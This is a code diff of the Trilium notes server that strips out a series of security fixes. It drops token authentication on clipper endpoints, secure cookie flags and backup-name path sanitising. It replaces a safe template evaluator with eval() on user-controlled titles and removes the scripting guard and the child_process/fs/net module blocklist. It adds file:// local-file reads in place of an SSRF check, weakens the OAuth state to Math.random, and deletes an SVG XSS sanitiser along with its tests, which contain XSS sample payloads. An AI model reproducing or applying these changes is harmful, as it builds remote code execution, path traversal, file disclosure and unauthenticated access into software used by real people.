apiRoute(PATCH, "/api/etapi-tokens/:etapiTokenId", etapiTokensApiRoutes.patchToken);
apiRoute(DEL, "/api/etapi-tokens/:etapiTokenId", etapiTokensApiRoutes.deleteToken);
// clipper API always requires ETAPI token authentication, regardless of environment.
// Previously, Electron builds skipped auth entirely, which exposed these endpoints
// to unauthenticated network access (content injection, information disclosure).
const clipperMiddleware = [auth.checkEtapiToken];
// in case of local electron, local calls are allowed unauthenticated, for server they need auth
const clipperMiddleware = isElectron ? [] : [auth.checkEtapiToken];
route(GET, "/api/clipper/handshake", clipperMiddleware, clipperRoute.handshake, apiResultHandler);
asyncRoute(PST, "/api/clipper/clippings", clipperMiddleware, clipperRoute.addClipping, apiResultHandler);

View File

@@ -107,8 +107,6 @@ const sessionParser: express.RequestHandler = session({
cookie: {
path: "/",
httpOnly: true,
secure: config.Network.https,
sameSite: "lax",
maxAge: config.Session.cookieMaxAge * 1000 // needs value in milliseconds
},
name: "trilium.sid",

View File

@@ -72,16 +72,9 @@ function periodBackup(optionName: "lastDailyBackupDate" | "lastWeeklyBackupDate"
}
async function backupNow(name: string) {
// Sanitize backup name to prevent path traversal (CWE-22).
// Only allow alphanumeric characters, hyphens, and underscores.
const sanitizedName = name.replace(/[^a-zA-Z0-9_-]/g, "");
if (!sanitizedName) {
throw new Error("Invalid backup name: must contain at least one alphanumeric character, hyphen, or underscore.");
}
// we don't want to back up DB in the middle of sync with potentially inconsistent DB state
return await syncMutexService.doExclusively(async () => {
const backupFile = path.resolve(`${dataDir.BACKUP_DIR}/backup-${sanitizedName}.db`);
const backupFile = path.resolve(`${dataDir.BACKUP_DIR}/backup-${name}.db`);
if (!fs.existsSync(dataDir.BACKUP_DIR)) {
fs.mkdirSync(dataDir.BACKUP_DIR, 0o700);

View File

@@ -6,9 +6,6 @@ import { randomString } from "./utils.js";
import eraseService from "./erase.js";
import type BNote from "../becca/entities/bnote.js";
import { ActionHandlers, BulkAction, BulkActionData } from "@triliumnext/commons";
import { evaluateTemplate } from "./safe_template.js";
import { executeBundle } from "./script.js";
import { assertScriptingEnabled } from "./scripting_guard.js";
type ActionHandler<T> = (action: T, note: BNote) => void;
@@ -47,8 +44,9 @@ const ACTION_HANDLERS: ActionHandlerMap = {
},
renameNote: (action, note) => {
// "officially" injected value:
// - note (the note being renamed)
const newTitle = evaluateTemplate(action.newTitle, { note });
// - note
const newTitle = eval(`\`${action.newTitle}\``);
if (note.title !== newTitle) {
note.title = newTitle;
@@ -107,26 +105,15 @@ const ACTION_HANDLERS: ActionHandlerMap = {
}
},
executeScript: (action, note) => {
assertScriptingEnabled();
if (!action.script || !action.script.trim()) {
log.info("Ignoring executeScript since the script is empty.");
return;
}
// Route through the script service's executeBundle instead of raw
// new Function() to get proper CLS context, logging, and error handling.
// The preamble provides access to `note` and `api` as the UI documents.
const noteId = note.noteId.replace(/[^a-zA-Z0-9_]/g, "");
const preamble = `const api = apiContext.apis["${noteId}"] || {};\n` +
`const note = apiContext.notes["${noteId}"];\n`;
const scriptBody = `${preamble}${action.script}\nnote.save();`;
const scriptFunc = new Function("note", action.script);
scriptFunc(note);
executeBundle({
note: note,
script: scriptBody,
html: "",
allNotes: [note]
});
note.save();
}
} as const;

View File

@@ -136,14 +136,7 @@ export interface TriliumConfig {
* log files created by Trilium older than the specified amount of time will be deleted.
*/
retentionDays: number;
};
/** Scripting and code execution configuration */
Scripting: {
/** Whether backend/frontend script execution is enabled (default: false for server, true for desktop) */
enabled: boolean;
/** Whether the SQL console is accessible (default: false) */
sqlConsoleEnabled: boolean;
};
}
}
/**
@@ -465,21 +458,6 @@ const configMapping = {
defaultValue: LOGGING_DEFAULT_RETENTION_DAYS,
transformer: (value: unknown) => stringToInt(String(value)) ?? LOGGING_DEFAULT_RETENTION_DAYS
}
},
Scripting: {
enabled: {
standardEnvVar: 'TRILIUM_SCRIPTING_ENABLED',
iniGetter: () => getIniSection("Scripting")?.enabled,
defaultValue: false,
transformer: transformBoolean
},
sqlConsoleEnabled: {
standardEnvVar: 'TRILIUM_SCRIPTING_SQLCONSOLEENABLED',
aliasEnvVars: ['TRILIUM_SCRIPTING_SQL_CONSOLE_ENABLED'],
iniGetter: () => getIniSection("Scripting")?.sqlConsoleEnabled,
defaultValue: false,
transformer: transformBoolean
}
}
};
@@ -533,19 +511,9 @@ const config: TriliumConfig = {
},
Logging: {
retentionDays: getConfigValue(configMapping.Logging.retentionDays)
},
Scripting: {
enabled: getConfigValue(configMapping.Scripting.enabled),
sqlConsoleEnabled: getConfigValue(configMapping.Scripting.sqlConsoleEnabled)
}
};
// Desktop builds always have scripting enabled (single-user trusted environment)
if (process.versions["electron"]) {
config.Scripting.enabled = true;
config.Scripting.sqlConsoleEnabled = true;
}
/**
* =====================================================================
* ENVIRONMENT VARIABLE REFERENCE

View File

@@ -9,12 +9,11 @@ import oneTimeTimer from "./one_time_timer.js";
import type BNote from "../becca/entities/bnote.js";
import type AbstractBeccaEntity from "../becca/entities/abstract_becca_entity.js";
import type { DefinitionObject } from "./promoted_attribute_definition_interface.js";
import { isScriptingEnabled } from "./scripting_guard.js";
type Handler = (definition: DefinitionObject, note: BNote, targetNote: BNote) => void;
function runAttachedRelations(note: BNote, relationName: string, originEntity: AbstractBeccaEntity<any>) {
if (!note || !isScriptingEnabled()) {
if (!note) {
return;
}

View File

@@ -25,10 +25,8 @@ import type { NoteParams } from "./note-interface.js";
import optionService from "./options.js";
import request from "./request.js";
import revisionService from "./revisions.js";
import { evaluateTemplateSafe } from "./safe_template.js";
import sql from "./sql.js";
import type TaskContext from "./task_context.js";
import { isSafeUrlForFetch } from "./url_validator.js";
import ws from "./ws.js";
interface FoundLink {
@@ -121,17 +119,17 @@ function getNewNoteTitle(parentNote: BNote) {
const titleTemplate = parentNote.getLabelValue("titleTemplate");
if (titleTemplate !== null) {
const now = dayjs(cls.getLocalNowDateTime() || new Date());
try {
const now = dayjs(cls.getLocalNowDateTime() || new Date());
// "officially" injected values:
// - now
// - parentNote
title = evaluateTemplateSafe(
titleTemplate,
{ now, parentNote },
title,
`titleTemplate of note '${parentNote.noteId}'`
);
// "officially" injected values:
// - now
// - parentNote
title = eval(`\`${titleTemplate}\``);
} catch (e: any) {
log.error(`Title template of note '${parentNote.noteId}' failed with: ${e.message}`);
}
}
// this isn't in theory a good place to sanitize title, but this will catch a lot of XSS attempts.
@@ -505,14 +503,24 @@ const imageUrlToAttachmentIdMapping: Record<string, string> = {};
async function downloadImage(noteId: string, imageUrl: string) {
const unescapedUrl = unescapeHtml(imageUrl);
// SSRF protection: only allow http(s) URLs and block private/internal IPs.
if (!isSafeUrlForFetch(unescapedUrl)) {
log.error(`Download of '${imageUrl}' for note '${noteId}' rejected: URL failed SSRF safety check.`);
return;
}
try {
const imageBuffer = await request.getImage(unescapedUrl);
let imageBuffer: Buffer;
if (imageUrl.toLowerCase().startsWith("file://")) {
imageBuffer = await new Promise((res, rej) => {
const localFilePath = imageUrl.substring("file://".length);
return fs.readFile(localFilePath, (err, data) => {
if (err) {
rej(err);
} else {
res(data);
}
});
});
} else {
imageBuffer = await request.getImage(unescapedUrl);
}
const parsedUrl = url.parse(unescapedUrl);
const title = path.basename(parsedUrl.pathname || "");

View File

@@ -1,5 +1,4 @@
import type { NextFunction, Request, Response } from "express";
import crypto from "crypto";
import openIDEncryption from "./encryption/open_id_encryption.js";
import sqlInit from "./sql_init.js";
import options from "./options.js";
@@ -122,7 +121,7 @@ function generateOAuthConfig() {
scope: "openid profile email",
access_type: "offline",
prompt: "consent",
state: crypto.randomBytes(32).toString("hex")
state: "random_state_" + Math.random().toString(36).substring(2)
},
routes: authRoutes,
idpLogout: true,

View File

@@ -1,188 +0,0 @@
/**
* Safe template evaluator that replaces eval()-based template string interpolation.
*
* Supports only a controlled set of operations within ${...} expressions:
* - Property access chains: `obj.prop.subprop`
* - Method calls with a single string literal argument: `obj.method('arg')`
* - Chained combinations: `obj.prop.method('arg')`
*
* This prevents arbitrary code execution while supporting the documented
* titleTemplate and bulk rename use cases:
* - ${now.format('YYYY-MM-DD')}
* - ${parentNote.title}
* - ${parentNote.getLabelValue('authorName')}
* - ${note.title}
* - ${note.dateCreatedObj.format('MM-DD')}
*/
import log from "./log.js";
/** Allowed method names that can be called on template variables. */
const ALLOWED_METHODS = new Set([
"format",
"getLabelValue",
"getLabel",
"getLabelValues",
"getRelationValue",
"getAttributeValue"
]);
/** Allowed property names that can be accessed on template variables. */
const ALLOWED_PROPERTIES = new Set([
"title",
"type",
"mime",
"noteId",
"dateCreated",
"dateModified",
"utcDateCreated",
"utcDateModified",
"dateCreatedObj",
"utcDateCreatedObj",
"isProtected",
"content"
]);
interface TemplateVariables {
[key: string]: unknown;
}
/**
* Evaluates a template string safely without using eval().
*
* Template strings can contain ${...} expressions which are evaluated
* against the provided variables map.
*
* @param template - The template string, e.g. "Note: ${now.format('YYYY-MM-DD')}"
* @param variables - Map of variable names to their values
* @returns The interpolated string
* @throws Error if an expression cannot be safely evaluated
*/
export function evaluateTemplate(template: string, variables: TemplateVariables): string {
return template.replace(/\$\{([^}]+)\}/g, (_match, expression: string) => {
const result = evaluateExpression(expression.trim(), variables);
return result == null ? "" : String(result);
});
}
/**
* Evaluates a single expression like "now.format('YYYY-MM-DD')" or "parentNote.title".
*
* Supported forms:
* - `varName` -> variables[varName]
* - `varName.prop` -> variables[varName].prop
* - `varName.prop1.prop2` -> variables[varName].prop1.prop2
* - `varName.method('arg')` -> variables[varName].method('arg')
* - `varName.prop.method('arg')` -> variables[varName].prop.method('arg')
*/
function evaluateExpression(expr: string, variables: TemplateVariables): unknown {
// Parse the expression into segments: variable name, property accesses, and optional method call.
// We handle: varName(.propName)*.methodName('stringArg')?
// First, check for a method call at the end: .methodName('arg') or .methodName("arg")
const methodCallMatch = expr.match(
/^([a-zA-Z_]\w*(?:\.[a-zA-Z_]\w*)*)\.([a-zA-Z_]\w*)\(\s*(?:'([^']*)'|"([^"]*)")\s*\)$/
);
if (methodCallMatch) {
const [, chainStr, methodName, singleQuoteArg, doubleQuoteArg] = methodCallMatch;
const methodArg = singleQuoteArg !== undefined ? singleQuoteArg : doubleQuoteArg;
if (!ALLOWED_METHODS.has(methodName)) {
throw new Error(`Method '${methodName}' is not allowed in template expressions`);
}
const target = resolvePropertyChain(chainStr, variables);
if (target == null) {
return null;
}
const method = (target as Record<string, unknown>)[methodName];
if (typeof method !== "function") {
throw new Error(`'${methodName}' is not a function on the resolved object`);
}
return (method as (arg: string) => unknown).call(target, methodArg as string);
}
// Check for a no-arg method call at the end: .methodName()
const noArgMethodMatch = expr.match(
/^([a-zA-Z_]\w*(?:\.[a-zA-Z_]\w*)*)\.([a-zA-Z_]\w*)\(\s*\)$/
);
if (noArgMethodMatch) {
const [, chainStr, methodName] = noArgMethodMatch;
if (!ALLOWED_METHODS.has(methodName)) {
throw new Error(`Method '${methodName}' is not allowed in template expressions`);
}
const target = resolvePropertyChain(chainStr, variables);
if (target == null) {
return null;
}
const method = (target as Record<string, unknown>)[methodName];
if (typeof method !== "function") {
throw new Error(`'${methodName}' is not a function on the resolved object`);
}
return (method as () => unknown).call(target);
}
// Otherwise it's a pure property chain: varName.prop1.prop2...
const propChainMatch = expr.match(/^[a-zA-Z_]\w*(?:\.[a-zA-Z_]\w*)*$/);
if (!propChainMatch) {
throw new Error(`Template expression '${expr}' is not a supported expression. ` +
`Only property access and whitelisted method calls are allowed.`);
}
return resolvePropertyChain(expr, variables);
}
/**
* Resolves a dot-separated property chain like "parentNote.title" against variables.
*/
function resolvePropertyChain(chain: string, variables: TemplateVariables): unknown {
const parts = chain.split(".");
const rootName = parts[0];
if (!(rootName in variables)) {
throw new Error(`Unknown variable '${rootName}' in template expression`);
}
let current: unknown = variables[rootName];
for (let i = 1; i < parts.length; i++) {
if (current == null) {
return null;
}
const prop = parts[i];
if (!ALLOWED_PROPERTIES.has(prop)) {
throw new Error(`Property '${prop}' is not allowed in template expressions`);
}
current = (current as Record<string, unknown>)[prop];
}
return current;
}
/**
* Convenience wrapper that evaluates a template and catches errors,
* logging them and returning the fallback value.
*/
export function evaluateTemplateSafe(
template: string,
variables: TemplateVariables,
fallback: string,
contextDescription: string
): string {
try {
return evaluateTemplate(template, variables);
} catch (e: any) {
log.error(`Template evaluation for ${contextDescription} failed with: ${e.message}`);
return fallback;
}
}

View File

@@ -8,7 +8,6 @@ import hiddenSubtreeService from "./hidden_subtree.js";
import type BNote from "../becca/entities/bnote.js";
import options from "./options.js";
import { getLastProtectedSessionOperationDate, isProtectedSessionAvailable, resetDataKey } from "./protected_session.js";
import { isScriptingEnabled } from "./scripting_guard.js";
import ws from "./ws.js";
function getRunAtHours(note: BNote): number[] {
@@ -46,7 +45,7 @@ export function startScheduler() {
// Periodic checks.
sqlInit.dbReady.then(() => {
if (!process.env.TRILIUM_SAFE_MODE && isScriptingEnabled()) {
if (!process.env.TRILIUM_SAFE_MODE) {
setTimeout(
cls.wrap(() => runNotesWithLabel("backendStartup")),
10 * 1000
@@ -61,13 +60,12 @@ export function startScheduler() {
cls.wrap(() => runNotesWithLabel("daily")),
24 * 3600 * 1000
);
}
// Internal maintenance - always runs regardless of scripting setting
setInterval(
cls.wrap(() => hiddenSubtreeService.checkHiddenSubtree()),
7 * 3600 * 1000
);
setInterval(
cls.wrap(() => hiddenSubtreeService.checkHiddenSubtree()),
7 * 3600 * 1000
);
}
setInterval(() => checkProtectedSessionExpiration(), 30000);
});

View File

@@ -3,51 +3,6 @@ import BackendScriptApi from "./backend_script_api.js";
import type BNote from "../becca/entities/bnote.js";
import type { ApiParams } from "./backend_script_api_interface.js";
/**
* IMPORTANT: This module allowlist/blocklist is a defense-in-depth measure only.
* It is NOT a security sandbox. Scripts execute via eval() in the main Node.js
* process and can bypass these restrictions through globalThis, process, etc.
* The actual security boundary is the [Scripting] enabled=false config toggle,
* which prevents script execution entirely.
*
* Modules that are safe for user scripts to require.
* Note-based modules (resolved via note title matching) are handled separately
* and always allowed regardless of this list.
*/
const ALLOWED_MODULES = new Set([
// Safe utility libraries
"dayjs",
"marked",
"turndown",
"cheerio",
"axios",
"xml2js",
"escape-html",
"sanitize-html",
"lodash",
]);
/**
* Modules that are ALWAYS blocked even when scripting is enabled.
* These provide OS-level access that makes RCE trivial.
*/
const BLOCKED_MODULES = new Set([
"child_process",
"cluster",
"dgram",
"dns",
"fs",
"fs/promises",
"net",
"os",
"path",
"process",
"tls",
"worker_threads",
"v8",
"vm",
]);
type Module = {
exports: any[];
};
@@ -71,23 +26,7 @@ class ScriptContext {
const note = candidates.find((c) => c.title === moduleName);
if (!note) {
// Check blocked list first
if (BLOCKED_MODULES.has(moduleName)) {
throw new Error(
`Module '${moduleName}' is blocked for security. ` +
`Scripts cannot access OS-level modules like child_process, fs, net, os.`
);
}
// Allow if in whitelist
if (ALLOWED_MODULES.has(moduleName)) {
return require(moduleName);
}
throw new Error(
`Module '${moduleName}' is not in the allowed modules list. ` +
`Contact your administrator to add it to the whitelist.`
);
return require(moduleName);
}
return this.modules[note.noteId].exports;

View File

@@ -1,148 +0,0 @@
import { vi, describe, it, expect, beforeEach } from "vitest";
// Mutable mock state that can be changed between tests
const mockState = {
isElectron: false,
scriptingEnabled: false,
sqlConsoleEnabled: false
};
// Mock utils module so isElectron can be controlled per test
vi.mock("./utils.js", () => ({
isElectron: false,
default: {
isElectron: false
}
}));
// Mock config module so Scripting section can be controlled per test
vi.mock("./config.js", () => ({
default: {
Scripting: {
get enabled() {
return mockState.scriptingEnabled;
},
get sqlConsoleEnabled() {
return mockState.sqlConsoleEnabled;
}
}
}
}));
describe("scripting_guard", () => {
beforeEach(() => {
// Reset to defaults
mockState.isElectron = false;
mockState.scriptingEnabled = false;
mockState.sqlConsoleEnabled = false;
vi.resetModules();
});
describe("assertScriptingEnabled", () => {
it("should throw when scripting is disabled and not Electron", async () => {
mockState.isElectron = false;
mockState.scriptingEnabled = false;
// Re-mock utils with isElectron = false
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { assertScriptingEnabled } = await import("./scripting_guard.js");
expect(() => assertScriptingEnabled()).toThrowError(
/Script execution is disabled/
);
});
it("should not throw when scripting is enabled", async () => {
mockState.scriptingEnabled = true;
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { assertScriptingEnabled } = await import("./scripting_guard.js");
expect(() => assertScriptingEnabled()).not.toThrow();
});
it("should not throw when isElectron is true even if config is false", async () => {
mockState.scriptingEnabled = false;
vi.doMock("./utils.js", () => ({
isElectron: true,
default: { isElectron: true }
}));
const { assertScriptingEnabled } = await import("./scripting_guard.js");
expect(() => assertScriptingEnabled()).not.toThrow();
});
});
describe("assertSqlConsoleEnabled", () => {
it("should throw when SQL console is disabled and not Electron", async () => {
mockState.sqlConsoleEnabled = false;
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { assertSqlConsoleEnabled } = await import("./scripting_guard.js");
expect(() => assertSqlConsoleEnabled()).toThrowError(
/SQL console is disabled/
);
});
it("should not throw when SQL console is enabled", async () => {
mockState.sqlConsoleEnabled = true;
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { assertSqlConsoleEnabled } = await import("./scripting_guard.js");
expect(() => assertSqlConsoleEnabled()).not.toThrow();
});
});
describe("isScriptingEnabled", () => {
it("should return false when disabled and not Electron", async () => {
mockState.scriptingEnabled = false;
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { isScriptingEnabled } = await import("./scripting_guard.js");
expect(isScriptingEnabled()).toBe(false);
});
it("should return true when enabled", async () => {
mockState.scriptingEnabled = true;
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { isScriptingEnabled } = await import("./scripting_guard.js");
expect(isScriptingEnabled()).toBe(true);
});
it("should return true when isElectron is true", async () => {
mockState.scriptingEnabled = false;
vi.doMock("./utils.js", () => ({
isElectron: true,
default: { isElectron: true }
}));
const { isScriptingEnabled } = await import("./scripting_guard.js");
expect(isScriptingEnabled()).toBe(true);
});
});
});

View File

@@ -1,28 +0,0 @@
import config from "./config.js";
import { isElectron } from "./utils.js";
/**
* Throws if scripting is disabled. Desktop (Electron) always allows scripting.
*/
export function assertScriptingEnabled(): void {
if (isElectron || config.Scripting.enabled) {
return;
}
throw new Error(
"Script execution is disabled. Set [Scripting] enabled=true in config.ini or " +
"TRILIUM_SCRIPTING_ENABLED=true to enable. WARNING: Scripts have full server access."
);
}
export function assertSqlConsoleEnabled(): void {
if (isElectron || config.Scripting.sqlConsoleEnabled) {
return;
}
throw new Error(
"SQL console is disabled. Set [Scripting] sqlConsoleEnabled=true in config.ini to enable."
);
}
export function isScriptingEnabled(): boolean {
return isElectron || config.Scripting.enabled;
}

View File

@@ -17,7 +17,6 @@ import type { SearchParams, TokenStructure } from "./types.js";
import type Expression from "../expressions/expression.js";
import sql from "../../sql.js";
import scriptService from "../../script.js";
import { isScriptingEnabled } from "../../scripting_guard.js";
import striptags from "striptags";
import protectedSessionService from "../../protected_session.js";
@@ -81,11 +80,6 @@ function searchFromRelation(note: BNote, relationName: string) {
return [];
}
if (!isScriptingEnabled()) {
log.info("Script-based search is disabled (scripting is not enabled).");
return [];
}
if (!scriptNote.isJavaScript() || scriptNote.getScriptEnv() !== "backend") {
log.info(`Note ${scriptNote.noteId} is not executable.`);

View File

@@ -1,241 +0,0 @@
import { describe, expect, it } from "vitest";
import { sanitizeSvg } from "./svg_sanitizer.js";
describe("SVG Sanitizer", () => {
describe("removes dangerous elements", () => {
it("strips <script> tags with content", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script>alert('XSS')</script><circle r="50"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<script");
expect(clean).not.toContain("alert");
expect(clean).toContain("<circle");
});
it("strips <script> tags case-insensitively", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><SCRIPT>alert('XSS')</SCRIPT></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("SCRIPT");
expect(clean).not.toContain("alert");
});
it("strips <script> tags with attributes", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script type="text/javascript">alert('XSS')</script></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<script");
expect(clean).not.toContain("alert");
});
it("strips self-closing <script> tags", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script src="evil.js"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<script");
expect(clean).not.toContain("evil.js");
});
it("strips <foreignObject> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><foreignObject><body xmlns="http://www.w3.org/1999/xhtml"><script>alert(1)</script></body></foreignObject></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("foreignObject");
expect(clean).not.toContain("alert");
});
it("strips <iframe> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><iframe src="https://evil.com"></iframe></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<iframe");
expect(clean).not.toContain("evil.com");
});
it("strips <embed> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><embed src="evil.swf"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<embed");
});
it("strips <object> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><object data="evil.swf"></object></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<object");
});
it("strips <link> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><link rel="stylesheet" href="evil.css"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<link");
});
it("strips <meta> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><meta http-equiv="refresh" content="0;url=evil.com"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<meta");
});
});
describe("removes event handler attributes", () => {
it("strips onload from SVG root", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')"><circle r="50"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("onload");
expect(clean).not.toContain("alert");
expect(clean).toContain("<circle");
expect(clean).toContain("<svg");
});
it("strips onclick from elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><circle r="50" onclick="alert('XSS')"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("onclick");
expect(clean).not.toContain("alert");
expect(clean).toContain("r=\"50\"");
});
it("strips onerror from elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><image onerror="alert('XSS')" href="x"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("onerror");
expect(clean).not.toContain("alert");
});
it("strips onmouseover from elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><rect onmouseover="alert('XSS')" width="100" height="100"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("onmouseover");
});
it("strips onfocus from elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><rect onfocus="alert('XSS')" tabindex="0"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("onfocus");
});
});
describe("removes dangerous URI schemes", () => {
it("strips javascript: URIs from href", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href="javascript:alert('XSS')"><text>Click</text></a></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("javascript:");
expect(clean).toContain("<text>Click</text>");
});
it("strips javascript: URIs from xlink:href", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a xlink:href="javascript:alert('XSS')"><text>Click</text></a></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("javascript:");
});
it("strips data:text/html URIs", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href="data:text/html,<script>alert(1)</script>"><text>Click</text></a></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("data:text/html");
});
it("strips vbscript: URIs", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href="vbscript:msgbox('XSS')"><text>Click</text></a></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("vbscript:");
});
it("strips javascript: URIs with whitespace padding", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href=" javascript:alert(1)"><text>Click</text></a></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("javascript:");
});
});
describe("removes xml-stylesheet processing instructions", () => {
it("strips xml-stylesheet PIs", () => {
const dirty = `<?xml-stylesheet type="text/xsl" href="evil.xsl"?><svg xmlns="http://www.w3.org/2000/svg"><circle r="50"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("xml-stylesheet");
expect(clean).toContain("<circle");
});
});
describe("preserves legitimate SVG content", () => {
it("preserves basic SVG shapes", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><circle cx="50" cy="50" r="40" fill="red"/><rect x="10" y="10" width="80" height="80" fill="blue"/></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toBe(svg);
});
it("preserves SVG paths", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><path d="M10 10 L90 90" stroke="black" stroke-width="2"/></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toBe(svg);
});
it("preserves SVG text elements", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><text x="50" y="50" font-size="20">Hello World</text></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toBe(svg);
});
it("preserves SVG groups and transforms", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><g transform="translate(10,10)"><circle r="5"/></g></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toBe(svg);
});
it("preserves SVG style elements with CSS (not script)", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><style>.cls{fill:red}</style><circle class="cls" r="50"/></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toContain("<style>");
expect(clean).toContain("fill:red");
});
it("preserves SVG defs and gradients", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><defs><linearGradient id="grad"><stop offset="0%" stop-color="red"/><stop offset="100%" stop-color="blue"/></linearGradient></defs><rect fill="url(#grad)" width="100" height="100"/></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toContain("linearGradient");
expect(clean).toContain("url(#grad)");
});
it("preserves safe href attributes (non-javascript)", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><a href="https://example.com"><text>Link</text></a></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toContain(`href="https://example.com"`);
});
it("preserves data: URIs for images (non-HTML)", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><image href="data:image/png;base64,abc123"/></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toContain("data:image/png;base64,abc123");
});
it("preserves empty SVG", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toBe(svg);
});
});
describe("handles edge cases", () => {
it("handles Buffer input", () => {
const svg = Buffer.from(`<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>`);
const clean = sanitizeSvg(svg);
expect(clean).not.toContain("<script");
});
it("handles multiple script tags", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script><circle r="50"/><script>alert(2)</script></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<script");
expect(clean).toContain("<circle");
});
it("handles mixed dangerous content", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"><script>alert(2)</script><foreignObject><body xmlns="http://www.w3.org/1999/xhtml"><img onerror="alert(3)"/></body></foreignObject><circle r="50" onclick="alert(4)"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("alert");
expect(clean).not.toContain("onload");
expect(clean).not.toContain("<script");
expect(clean).not.toContain("foreignObject");
expect(clean).not.toContain("onclick");
expect(clean).toContain("<circle");
});
it("handles empty string input", () => {
expect(sanitizeSvg("")).toBe("");
});
});
});

View File

@@ -1,158 +0,0 @@
/**
* SVG sanitizer to prevent stored XSS via malicious SVG content.
*
* SVG files can contain embedded JavaScript via <script> tags, event handler
* attributes (onload, onclick, etc.), <foreignObject> elements, and
* javascript: URIs. This sanitizer strips all such dangerous constructs
* while preserving legitimate SVG rendering elements.
*
* Defense-in-depth: SVG responses also receive a restrictive
* Content-Security-Policy header (see {@link setSvgHeaders}) to block
* script execution even if sanitization is bypassed.
*/
import type { Response } from "express";
// Elements that MUST be removed from SVG (they can execute code or embed arbitrary HTML)
const DANGEROUS_ELEMENTS = new Set([
"script",
"foreignobject",
"iframe",
"embed",
"object",
"applet",
"base",
"link", // can load external resources
"meta",
]);
// Attribute prefixes/names that indicate event handlers
const EVENT_HANDLER_PATTERN = /^on[a-z]/i;
// Dangerous attribute values (javascript:, data: with script content, vbscript:)
const DANGEROUS_URI_PATTERN = /^\s*(javascript|vbscript|data\s*:\s*text\/html)/i;
// Attributes that can contain URIs
const URI_ATTRIBUTES = new Set([
"href",
"xlink:href",
"src",
"action",
"formaction",
"data",
]);
// SVG "set" and "animate" elements can modify attributes to dangerous values
const DANGEROUS_ANIMATION_ATTRIBUTES = new Set([
"attributename",
]);
/**
* Sanitizes SVG content by removing dangerous elements and attributes
* that could lead to script execution (XSS).
*
* This uses regex-based parsing rather than a full DOM parser to avoid
* adding heavy dependencies. The approach is conservative: it removes
